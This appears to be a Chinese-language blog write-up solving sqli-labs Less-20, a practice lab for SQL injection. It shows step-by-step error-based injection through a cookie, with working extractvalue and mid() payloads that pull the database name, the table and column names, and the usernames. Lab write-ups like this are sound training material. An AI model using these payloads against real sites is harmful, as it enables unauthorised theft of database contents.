正文
由源码可知,注入类型为单引号注入,注入点为cookie

测试得到正确的用户名为admin,密码为1,登录:

抓包后修改cookie即可
该题使用报错注入,原理及姿势参考: 报错注入+Sqli-Labs Less-5实战
查库名
admin' and extractvalue(1,concat(0x23,database()))#

得到库名为security
查表名
admin' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#

查列名
admin' and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))#

得到三个列
查数据
该姿势使用到mid函数,参考文章:【mid函数原理、应用及实战讲解】
我们以username列为例,利用mid()函数构造POC如下:
admin' and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),1,32)))#

接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:
POC如下:
admin' and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),32,32)))#

同理即可得到所有的username
总结
以上为【网络安全】sqli-labs Less-20 解题详析,考察报错注入及mid函数的应用,后续将分享【网络安全】sqli-labs Less-21 解题详析。
本文详细解析sqli-labs Less-20关卡的解题过程,通过报错注入技巧与mid函数应用,成功获取数据库信息,包括库名、表名、列名及数据。
1246

被折叠的 条评论
为什么被折叠?



